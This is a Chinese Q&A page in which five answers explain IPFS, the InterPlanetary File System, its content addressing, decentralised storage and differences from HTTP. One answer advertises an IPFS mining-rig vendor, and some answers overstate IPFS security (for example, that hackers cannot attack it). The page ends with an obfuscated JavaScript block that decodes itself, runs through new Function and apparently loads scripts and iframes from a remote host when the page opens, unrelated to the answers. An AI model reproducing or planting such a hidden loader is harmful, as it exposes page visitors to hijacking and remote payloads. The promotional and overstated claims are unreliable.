IPFS是什么?

2025-02-27 16:50:44
推荐回答(5个)
回答1:

星际文件系统。

IPFS是一种内容可寻址的对等超媒体分发协议。IPFS将现有的成功系统分布式哈希表、BitTorrent、版本控制系统Git、自认证文件系统与区块链相结合的文件存储和内容分发网络协议。IPFS同时也是一个开放源代码项目。

IPFS属性:

1、永久的、去中心化保存和共享文件;

2、点对点超媒体:P2P 保存各种各样类型的数据;

3、版本化:可追溯文件修改历史。

扩展资料

IPFS优点:

1、内容寻址:所有内容(包括链接)都由其多哈希校验和进行唯一标识。

2、防篡改:所有内容都使用其校验和进行验证。如果数据被篡改或损坏,则IPFS会检测到该数据。

3、去冗余:所有内容完全相同的对象,只存储一次。

4、PFS并不会要求每一个节点都存储所有的内容,节点的所有者可以自由选择想要维持的数据,在备份了自己的数据之外,自愿的为其他的关注的内容提供服务。

参考资料来源:百度百科-星际文件系统

回答2:

IPFS是星际文件系统是InterPlanetary File System的缩写。

是一个旨在创建持久且分布式存储和共享文件的网络传输协议。它是一种内容可寻址的对等超媒体分发协议。在IPFS网络中的节点将构成一个分布式文件系统。它是一个开放源代码项目,自2014年开始由Protocol Labs在开源社区的帮助下发展。其最初由Juan Benet设计。

扩展资料:

IPFS的特点:

1、永久的、去中心化保存和共享文件 (区块链模式下的存储DHTs)

2、点对点超媒体:P2P 保存各种各样类型的数据(BitTorrent)

3、版本化:可追溯文件修改历史(Git - Merkle DAG默克尔有向无环图))

4、内容可寻址:通过文件内容生成独立哈希值来标识文件,而不是通过文件保存位置来标识。相同内容的文件在系统中只会存在一份,节约存储空间

参考资料来源:百度百科-星际文件系统

回答3:

IPFS(InterPlanetary File System,星际文件系统),它是一种全新的超媒体文本传输协议,可以把它理解为一种支持分布式存储的网站。IPFS 诞生于2015年、2017年8月,IPFS 的激励层filecoin,公开众筹在很短时间内,就募集了超过2.57亿美金,相当于接近20个亿人民币的投资!所以它引起了全世界投资人的高度关注!与此同时它打破纪录,创造了当年全球ICO的奇迹,当之无愧的成为了一个全球瞩目堪比当年以太坊的明星项目!
相对应的就是现在大家所熟悉的以 http 开头的中心化存储网站。这跟我们平时使用的百度云,阿里云这些网站有什么不一样呢?各位不妨思考一下,你存储在U盘,网盘上的这些数据 是绝对的安全吗?答案是否定的!它会丢失,甚至会被和谐掉,对吗?比如从前的金山网盘,360网盘,官方通道已经关闭了,文件需要大量的转移,时间精力都浪费了,另外像百度网盘,免费用户使用的空间也是有限的,如果你想增加储存容量就必须得充值,而且安全性也是有待考究的。
而 IPFS 的网络存储文件,使用的是去中心化分片加密存储技术,把文件分割成了多个片段,存储在网络的各个节点上,而这些节点就是我们使用的电脑,当你下载文件的时候,或者想
要打开文件的时候,IPFS 网络会自动把文件还原,给你使用、供你下载,可以防止某个人或者某个机构控制你的数据,也可以防止被黑客攻击,这样就可以保护我们的存储数据,不会被随意篡改、删除了!此外,使用IPFS 网络进行文件存储、文件下载,在速度方面 可是相当的快!IPFS 最大的神奇之处呢,是彻底告别了传统的HTTP协议常见的卡顿和404错误。
互联网的发展一共经历的三个阶段:
所谓的Web1.0,就是互联网的早期形态。
提出年代:20世纪90年代中期
特征表现:国内以搜狐、网易、新浪、腾讯为代表的一批门户型网站诞生,人们对新闻信息的获取是其利用网络的主要驱动力,巨大的点击流量诞生了新的商业模式。
由网站的运营者生产内容。那时候的网站几乎不记录用户数据。这使得想在网上进行复杂的活动几乎不可能。因为你不知道谁来过,看得啥,做了什么。
随着微博,微信的崛起,我们进入了现在所处的Web2.0时代。
提出年代:21世纪初期
特征表现:BBS、博客、RSS(聚合内容)兴起与繁荣。人的重要性与参与性上升,用户既是互联网内容的浏览者,也是制造者。
在这个时代,每个人都是内容的生产者。如果说Web1.0时代给了我们一个绚丽的画廊,我们只是过客。只能被动的观看画廊中布置的作品。
那么进入Web2.0时代,我们迎来了一个可以自由创新的共享空间。在这里我们即欣赏他人创作,可共享我们的创意。但这个空间的主人并不是我们。比如有一天你不用微信了,那么你在上面的所有信息也就没有了。换句话说,在Web2.0时代,你的网络身份不属于你自己。而是属于这些科技巨头。我们有没有可能主宰自己的数据呢?
有!这就是Web3.0
提出年代:2010年左右
特征表现:网络模式实现不同终端的兼容,从PC互联网到WAP手机,移动互联让普通人群的参与方式呈现更多的可能。基于物联技术的飞跃,跨平台支付、大数据经济等发力迅猛。
Web3.0的提法来自区块链,以太坊的联合创始人Gavin Wood博士。第一个提出了Web3.0的概念在这个网络中一切都是去中心化。
没有服务器,没有中心化机构。更没有权威或垄断组织掌控信息流。而要构造这个一个庞大的Web3.0,信息存储和文件传输的去中心化就是核心之一。
人类社会自进入互联网时代以来,信息爆发式增长,过去两年,新产生的数据占据了人类文明的90%,传统的硬盘级别磁盘列阵存储方式。也渐渐被在最新的云存储技术所替代。云存储就是把存储资源放到云上,然后供人存取。各种不同类型的存储设备通过应用软件集合起来协同工作,保证数据的安全性并节约了存储空间。使用者可以在任何时间任何地点通过任何可联网的装置,使用云上数据。
云存储同时也带来了很多隐患,最大的就是数据存储安全方面的问题。分为以下四类。
第一类:最常见的就是服务器被攻击,数据被盗取的风险。
第二类:属于操作失误或运作流程的缺陷比如腾讯云因为操作失误,导致创业公司,前言数控技术。存在在上面价值上千万的核心数据全部丢失,导致该公司直接停业。
第三类:属于服务器自身故障,导致数据丢失或错误。比如亚马逊云。2019年8月,币安在使用过程中由于出现故障,导致比特币交易价格由正常的接近一万美元变为0.32美元 造成巨大损失
第四类:如果服务商,因为亏损或者政策等原因停止运营,那用户的数据像何处迁移。数据安全由谁负责,这些都是云存储服务提供商所面临的困境。再说说中心化文件传输方案所面临的问题。主要是文件获取效率低下。有两种情况:1,当我们浏览或者下载一部高清电影。那么这台计算机服务器的响应速度和他 网络通信环境就限制了我们浏览和下载文件的速度。第二张我们要获取的这个文件。可能存储在地球的另一端的服务器上,在这种情况下。获取文件的速度也会低下。面对传统互联网安全性能查和效率低下的问题。有没有更好的解决办法呢?有,这就是基于点对点网络的去中心化文件存储及传输协议IPFS。
IPFS,全称是星际文件系统(interplanetary file eystem)由毕业于斯坦福大学的创始人Juan Benet(胡安,贝内特)和他的团队创办。IPFS协议,主要从数据存储和文件传输。两个方面做了架构性的革新。比如大卫要在IFPS系统中保存一段视频,系统会把文件打碎成若干个大小一样的碎片。然后对每个碎片进行哈希运算得到一个数值,称为哈希值,然后再将所有这些碎片的哈希值及相关数据一起整理并在此进行哈希运算。得到一个最终的哈希值。然后被传输到IPFS系统中。很有可能你的文件中一部分碎片就存储在你邻居家的硬盘中。可是他既不知道这些碎片的内容是什么,也不知道替谁存储了文件,只要没有该文件对应的哈希值任何个人和机构就无法查看你的文件内容,这样我们就不用担心自己我数据被人利用。文件的碎片会被备份多次保留在IPFS系统中的多个节点上。这样即使黑客能攻击其中的个别节点。或者发生区域性的自然灾害,甚至类似911的这种。其他节点依然能保持文件的完整性,在文件传输方面。当我们使用IPFS访问或者下载文件时。我们像系统提交的是改文件的哈希值,因此,只要文件存在于整个IPFS系统中。系统就能帮我们通过最近的网络距离找出这个内容。
这样的处理方式,至少在两个方面都比传统互联网有优势,在搜索方面。HTTP是根据地质寻找内容,比如在没有电话,电报的年代。张三的朋友李四住在北京东城区灯草胡同730号。如果张三要从杭州去找李四就得根据这个地址千里走单骑,结果好不容易到了地方。发现房子还在可是李四已经搬走了。这就是我们传统互联网搜索内容经常会碰到的问题。而在IPFS中,文件是按照内容进行搜索的。甭管李四在世界的哪个角落,我都可以通过各种通信设备找到他,而不再是通过古老的地址检索,在效率方面。比如张三要下载一份视频资料,一共10GB大小,如果这份资料存储在地球另一端某个服务器上。那得经过若干路由从遥远的服务器中,像蚂蚁搬家那样一点点的下载。就好比一艘货轮拉了满仓货物通过海洋慢慢的给运过来。而在IPFS中,系统会从离我们网络距离若干节点,同时向我们传输这个文件的碎片。由于每个碎片只有256KB大小,所以速度将快的惊人。因此无论从传输距离还是从传输容量上。IPFS都大大优于HTTP协议。尽管IPFS有大大了优点,但同时也有缺陷。比如在隐私的保护方面。
由于在IPFS中,文件的检索是根据文件内容的哈希值来进行的,因此这个哈希值如果泄露给第三方。那么第三方就可以毫无门槛的下载这个文件,对此有没有解决办法呢?
有!那就是用户把文件上传到IPFS之前,先对他进行加密。将即使第三方下载了这个文件,他也看不到原始内容。
因此在Web3.0即将开启的时代,IPFS在数据确权,存储安全文件封发及传输效率方面都比Web2.0大大的迈进了一步,新生的IPFS虽然还不尽完善,但这并不影响他的贡献和价值。1991年,蒂姆 博纳斯 李发明的HTTP协议搭建了互联网世界的高速公路,从此我们对信息的传递可以在一瞬间抵达世界的各个角落。30年后,胡安 贝内特和他的团队创建了IPFS协议将重塑这个新世界的数据航道,让人类信息得以永存!正是因为有这样的一群人,推进着科技文明的进步。才得以让我们对未来的探索,有了更多的可能。然而如此宏大的系统要实现稳健运行,就得需要充足的燃料来维持,IPFS要想在完整的应用生态中发挥作用,还需要激励机制和一套完整的运行系统。
为此Filecoin应运而生。

回答4:

IPFS是一种点对点的分布式文件系统,致力于取代HTTP。

IPFS和HTTP之间的区别

  • 安全性:HTTP属于中心化的,所有流量直接搭载在中心化的服务器上,承载的压力极大,容易造成系统崩溃,HTTP还容易遭受DDOS攻击;IPFS的存储方式是去中心化的分片的分布式存储,黑客无法攻击,文件不易丢失,安全有保障。

  • 效率:HTTP依赖中心化服务网络,服务器容易被关闭,服务器上文件也容易被删除,服务器需要24小时开机;IPFS采用P2P网络拓扑,全网域的计算机都可以成为存储节点,就近分布式存储大大提高了网络效率。 

  • 成本:HTTP中心化服务器运行,需要较高的维护运行成本,中心化数据库一旦遭受DDOS攻击,或遭受不可抗力损害,所有数据将全部丢失;IPFS极大的降低服务器存储成本,也降低了服务器的带宽成本。

  • HTTP的客户网络访问绝大部分不是本地化的,有网络延迟,IPFS可以极大的加快网络访问速度,网络访问本地化,体验感会明显提升。


IPFS的使用场景:

  • 作为一个挂载的全局文件系统,挂载在IPFS和IPNS下

  • 作为一个挂载的个人同步文件夹,自动的进行版本管理,发布,以及备份任何的写入

  • 作为一个加密的文件或者数据共享系统

  • 作为所有软件的版本包管理者

  • 作为虚拟机器的根文件系统

  • 作为VM的启动文件系统 (在管理程序下)

  • 作为一个数据库:应用可以直接将数据写入Merkle DAG数据模型中,获取所有的版本,缓冲,以及IPFS提供的分配

  • 作为一个linked(和加密的)通信平台

  • 作为一个为大文件的完整性检查CDN(不使用SSL的情况下)

  • 作为一个加密的CDN

  • 在网页上,作为一个web CDN

  • 作为一个links永远存在新的永恒的Web


想了解更多IPFS相关讯息请关注我们的网站IPFS原力区

回答5:

星际文件系统IPFS(InterPlanetary File System)是一个面向全球的、点对点的分布式版本文件系统目标是为了补充甚至是取代目前统治互联网的超文本传输协议(HTTP),将所有具有相同文件系统的计算设备连接在一起。它的文件一直都可以使用,您可以浏览相关电影等。
个人觉得就是想试试最好托管,因为IPFS挖矿主要因素是宽带和位置,进行抢单。家用矿机其实根本抢不到单子,自然没什么收益。目前ipfs还没上主网,所以现在的矿机基本上都在推广阶段,性价比是比较好的时间段。ipfs上线主网之后的未来收益还是值得期待的。
不知道说矿机名字会不会有广告嫌疑,反正有个叫“壹五叁IPFS矿机”的经过比较之后还不错,保证本津、挖矿策略智能(ipfs是需要调整挖矿策略的)
最近还和这个团队的人聊了聊,觉得还是靠谱,年级都不大,所以理想化、具有精神吧

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();